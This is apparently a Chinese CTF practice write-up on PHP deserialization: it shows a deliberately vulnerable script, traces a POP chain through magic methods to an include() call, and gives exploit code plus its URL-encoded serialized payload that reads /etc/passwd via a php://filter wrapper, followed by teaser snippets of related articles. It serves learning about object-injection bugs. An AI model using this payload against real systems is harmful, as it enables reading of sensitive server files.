代码编织梦想

一个师傅给的源码,来源不知,就当作小练习记录一下

<?php
error_reporting(0);
class Vox{
    protected $headset;
    public $sound;
    public function fun($pulse){
        include($pulse);
    }
    public function __invoke(){
        $this->fun($this->headset);
    }
}

class Saw{
    public $fearless;
    public $gun;
    public function __construct($file='index.php'){
        $this->fearless = $file;
        echo $this->fearless . ' You are in my range!'."<br>";
    }

    public function __toString(){
        $this->gun['gun']->fearless;
        return "Saw";
    }

    public function _pain(){
        if($this->fearless){
            highlight_file($this->fearless);
        }
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)){
            echo "Does it hurt? That's right";
            $this->fearless = "index.php";
        }
    }
}

class Petal{
    public $seed;
    public function __construct(){
        $this->seed = array();
    }

    public function __get($sun){
        $Nourishment = $this->seed;
        return $Nourishment();
    }
}

if(isset($_GET['ozo'])){
    unserialize($_GET['ozo']);
}
else{
    $Saw = new Saw('index.php');
    $Saw->_pain();
}
?> 

首先确定最终目的是控制include($pulse),控制包含点即可利用伪协议构造任意文件读取
然后一步步反推Vox::__invoke() -> Vox::fun(),而触发__invoke()的条件是将实例对象当作方法调用时触发Petal::__get()中的return $Nourishment();满足条件,只要赋值一个对象给$this->seed即可触发,继续分析Petal::__get()的触发条件是调用不可访问的属性或者方法时被触发Saw::__toString()中的$this->gun['gun']->fearless可满足,最后就是如何触发Saw::__toString()Saw::__wakeup()中,进行了正则匹配,如果将$this->fearless设置成一个对象,即可触发Saw::__toString()
在这里插入图片描述
整个过程的POP链

Saw::__wakeup() -> Saw::__toString() -> Petal::__get() -> Vox::__invoke() -> Vox::fun()
<?php 
class Vox
{
    protected $headset = "php://filter/read=convert.base64-encode/resource=/etc/passwd";
}

class Saw
{
    public $fearless;
    public $gun;
}

class Petal
{
    public $seed;
}

$Vox = new Vox();
$Saw1 = new Saw();
$Saw2 = new Saw(); 
$Petal = new Petal();

$Saw1->fearless = $Saw2;
$Saw2->gun['gun'] = $Petal;
$Petal->seed = $Vox;

echo urlencode(serialize($Saw1));
 ?>
PS C:\Users\Administrator\Desktop> php -f .\code.php
O%3A3%3A%22Saw%22%3A2%3A%7Bs%3A8%3A%22fearless%22%3BO%3A3%3A%22Saw%22%3A2%3A%7Bs%3A8%3A%22fearless%22%3BN%3Bs%3A3%3A%22gun%22%3Ba%3A1%3A%7Bs%3A3%3A%22gun%22%3BO%3A5%3A%22Petal%22%3A1%3A%7Bs%3A4%3A%22seed%22%3BO%3A3%3A%22Vox%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00headset%22%3Bs%3A60%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D%2Fetc%2Fpasswd%22%3B%7D%7D%7D%7Ds%3A3%3A%22gun%22%3BN%3B%7D

在这里插入图片描述

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/mochu7777777/article/details/124746027

CTF之萌新反序列化学习-爱代码爱编程

反序列化 概念相关函数注意事项魔术方法+题目例题:flag.phpphp __wakeupphp Session例题phar反序列化(未完成)构造pop链例一:例二 概念 数据(变量)序列化(持久化) 将一个变量的数据“转换为”字符串,但并不是类型转换,目的是将该字符串储存在本地。相反的行为称为反序列化。 序列化和反序列化的目:使得程序间传输

java攻击_【技术分享】如何攻击Java反序列化过程-爱代码爱编程

预估稿费:200RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 一、前言 现在反序列化(deserialization)漏洞早已不是新鲜事物(如这几处参考资料[1][2][3][4]),但与其他类别漏洞相比,反序列化漏洞的利用过程涉及更多方面的因素。在应邀对客户进行渗透测试时,我成功利用Java反序列化漏洞获得了

简单的PHP反序列化-爱代码爱编程

简单的PHP反序列化 Author: badbird Time:2020-12-30 前言: ​ 本文会通过几个例子介绍一下PHP反序列化漏洞的原理和利用方式。 ​ 阅读本文不需要多强的代码能力,但需要有类和对象的概念。 ​ (基础知识,大佬绕行🐶) 什么是序列化和反序列化? ​ 我将序列化理解为一种规则化。 ​ 大白话讲,就是使千奇百怪

拍片哥 php,从CTF中学习PHP反序列化的各种利用方式-爱代码爱编程

前言 出于对php反序列漏洞感兴趣, 遂写一文总结一下在学习PHP反序列化的漏洞过程中遇到的点, 在CTF中有关的漏洞形式几乎是必出 __wakeup() 对应的CVE编号: CVE-2016-7124 存在漏洞的PHP版本: PHP5.6.25之前版本和7.0.10之前的7.x版本 漏洞概述: __wakeup()魔法函数被绕过,导致执行了

PHP反序列化--简单ctf题--pop链(thinkphp5.1.X)漏洞复现-爱代码爱编程

前言: PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法,这些都是PHP内置的方法。 __construct 当一个对象创建时被调用 __destruct 当一个对象销毁时被调用 __wakeup() 使用unserialize时触发 __sleep() 使用serialize时触发 __call() 在对象上下文中调用不可访问的方法

CTF_Web:反序列化学习笔记(二)CTF经典考题由浅至深-爱代码爱编程

0x00 CTF中的反序列化题目 这类题目中主要是利用反序列化各种魔术方法的绕过或调用,从而构造符合条件的序列化字符串,完成特定的功能,在这一点上对于整个代码段的执行流程要很清楚。我们先从最简单的开始看起。 0x01 攻防世界unserialize3 题目显示的源码为: class xctf{ public $flag = '111'; pu

CTF 反序列化入门例题wp-爱代码爱编程

最近有再看反序列化,尝试着学一下比赛中的反序列化:pop链的构造以及应用 [MRCTF2020]Ezpop 先了解一下pop链中的魔法函数:pop构造函数 <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#

反序列化学习之PHP反序列化&POP链构造-爱代码爱编程

反序列化学习(一) 前言 反序列化漏洞的学习贯穿了我的整个网安学习过程,从刚开始参加纳新考核到现在,反序列化的题目一直是难题,挡在学习的路上。 这次刷完了ctfshow的反序列化漏洞的相关题目,打算借这次机会重新总结一遍反序列化漏洞的相关知识。 反序列化漏洞的种类非常的多,在很多语言环境下你都会发现序列化储存信息的方式,所以反序列化漏洞也出现在了各

PHP反序列化字符串逃逸-爱代码爱编程

0x00 前提 掌握PHP反序列化的原理,序列化的对应内容及POP链构造。可参看: https://xz.aliyun.com/t/3674,https://xz.aliyun.com/t/6454 PHP的反序列化特点: 01.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的 ,同时

ctf练习7-爱代码爱编程

文章目录 皮卡丘靶场通关XSS之htmlspecialcharsXSS之hrefXSS之JS输出CSRFCSRF和XSS区别CSRF(get)CSRF(post)CSRF防范(Token)命令执行web56 无字母数字RCEweb57 特殊符号代替数字web58 文件读取web 59-65[post] 用include进行文件读取(base64)方